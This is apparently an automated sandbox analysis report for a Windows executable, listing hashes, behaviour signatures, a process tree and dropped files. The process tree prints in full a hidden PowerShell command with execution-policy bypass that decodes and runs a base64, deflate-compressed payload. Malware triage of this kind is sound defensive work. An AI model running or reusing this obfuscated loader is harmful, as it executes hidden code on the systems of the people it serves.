b5b2c23a7ce003426bf9eed344f6a3e807e17510b1d41cb79a8b07059cd7b70e

Analysis

max time kernel
122s
max time network
129s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
19-01-2024 03:59

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General

Target

66a3dd68441b8cbe21d932b5f5e8ae1e.exe
Size

91KB
MD5

66a3dd68441b8cbe21d932b5f5e8ae1e
SHA1

99d4e3b63b08a2283d3ca70b9904ed30a9ccff80
SHA256

b5b2c23a7ce003426bf9eed344f6a3e807e17510b1d41cb79a8b07059cd7b70e
SHA512

faf75b1dc80dddd55e19b342cc4d7cece58de7e163b8d2cdd9dc43588d4029011cff7ff30755962b073464d802db84d7b949eb05e53680a7bef3b2485dac5608
SSDEEP

1536:D7fbN3eEDhDPA/pICdUkbBtW7upvaLU0bI5taxKo0IOlnToIf4wOitOj:f7DhdC6kzWypvaQ0FxyNTBf4N

Score

1^/10

Malware Config

Signatures

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1948	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1948	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1948	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2312 wrote to memory of 2716	2312	66a3dd68441b8cbe21d932b5f5e8ae1e.exe	29
PID 2312 wrote to memory of 2716	2312	66a3dd68441b8cbe21d932b5f5e8ae1e.exe	29
PID 2312 wrote to memory of 2716	2312	66a3dd68441b8cbe21d932b5f5e8ae1e.exe	29
PID 2312 wrote to memory of 2716	2312	66a3dd68441b8cbe21d932b5f5e8ae1e.exe	29
PID 2716 wrote to memory of 1948	2716	cmd.exe	30
PID 2716 wrote to memory of 1948	2716	cmd.exe	30
PID 2716 wrote to memory of 1948	2716	cmd.exe	30
PID 2716 wrote to memory of 1948	2716	cmd.exe	30

C:\Users\Admin\AppData\Local\Temp\66a3dd68441b8cbe21d932b5f5e8ae1e.exe
"C:\Users\Admin\AppData\Local\Temp\66a3dd68441b8cbe21d932b5f5e8ae1e.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2312
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\55ED.tmp\55EE.tmp\55EF.bat C:\Users\Admin\AppData\Local\Temp\66a3dd68441b8cbe21d932b5f5e8ae1e.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2716
- - C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
    C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVPbTttAEH33V4wsS9iKbTkXUBqExE20SG2KCGofojw4m4FsWe9au+MkhubfOwanLYhWVZ+OvTtzzpnLBgKO4Nj3pudKXRalsRT692g1qn4vXSjlRzMoq7mSAhzlxIAb4nu41HRFFr5IS1WuTpQyImzP1jFUUhNsWqxbfIgO/1vnzGJOeLNkWOx0qpZ3FcMv5fbrN+32pFH3jz2y9WPguOgxrpPP828oCCa1IyzSMVI6MeIeybUI4fSNu5PFwqJzF3khVT0bjVgALQesjb2P4a2MZ7ypS+TwCXERxduBV9aQEUa1oTeijLzApWdGazYa7nXf9dLuwTDtDfppt9/bi2GYDbMIvoOpKNGVUocQlFzd9MTavDH33LhLzV3VAkN/XhP6MQwiDtxwILNfo0C5wjAoXxE98H3mBfU/8E1PJbHLFVruRePccFf6PeaMs6iz36jV02zWEG5OL7z1UiqEkBUSRX9PjuCxcdJ5abWOg4fOftyN/9zuC5XfOWYbG40RbL1bY1lRHnXZi2RdhEHz1emwApsLZONuR/fK0XukUy7UhVNeqhkb+ZDrhcKIs5LubOsFxLm8F0kzOEgKLOZoz/FWaknSaAgEJOO8QPC/St3v+ZBo/nNlLhCeTi4qLZpIB0mZO0dLWzUDOgpoNHrxxrI4qNOPqO9oGWebfpZlDIMs8nbOrytNssD0aStNOUG7kgJd+im3bpmrZoSmrJsOQsZze34dszDYpLu2R1EMP0V4/2g39fb5sWIcbOIGXq3ehHJLyUQhlpBMUBi9gOHBIMu2IiexfNz+AA==\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1948

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\55ED.tmp\55EE.tmp\55EF.bat

Filesize
2KB

MD5
4f8c3c64b91050a6c7e3ee3fab155940

SHA1
34e385a57fadc2a7f2d82202a00567acc5fe8415

SHA256
8126706137e9ec0c84c2dee9ccc298e29193e4c52270fab01fabe85ffb21edb1

SHA512
49379ee4b099a6ba025205c7c63397cb26810842905f08274365697046b6ca2df461201250dce4041c3daeca95c3564f68a11d8990a581ab84f2f210965ee0ff

Download Submit
memory/1948-4-0x00000000737B0000-0x0000000073D5B000-memory.dmp

Filesize
5.7MB

Download
memory/1948-5-0x00000000737B0000-0x0000000073D5B000-memory.dmp

Filesize
5.7MB

Download
memory/1948-6-0x0000000001B70000-0x0000000001BB0000-memory.dmp

Filesize
256KB

Download
memory/1948-7-0x0000000001B70000-0x0000000001BB0000-memory.dmp

Filesize
256KB

Download
memory/1948-8-0x00000000737B0000-0x0000000073D5B000-memory.dmp

Filesize
5.7MB

Download
memory/1948-9-0x0000000001B70000-0x0000000001BB0000-memory.dmp

Filesize
256KB

Download
memory/1948-10-0x0000000001B70000-0x0000000001BB0000-memory.dmp

Filesize
256KB

Download
memory/1948-11-0x00000000737B0000-0x0000000073D5B000-memory.dmp

Filesize
5.7MB

Download